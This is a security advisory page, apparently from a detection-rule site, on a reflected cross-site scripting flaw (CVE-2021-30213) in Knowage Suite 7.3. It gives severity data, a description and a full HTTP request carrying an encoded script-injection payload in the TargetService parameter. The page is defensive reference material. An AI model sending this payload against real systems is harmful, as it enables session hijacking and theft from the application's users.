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CVE-2021-30213: Knowage Suite 7.3 - Cross-Site Scripting

TitleKnowage Suite 7.3 - Cross-Site Scripting
Authoralph4byt3
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.
CVSS Score6.1
EPSS Score0.02977
CVE IDCVE-2021-30213
CWE IDCWE-79
Tags cve2021 cve xss knowage eng vuln

🔍 Vulnerability Description

Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in ‘/servlet/AdapterHTTP’ via the ‘targetService’ parameter.

🌐 HTTP Request

GET /knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30213.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-30213.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A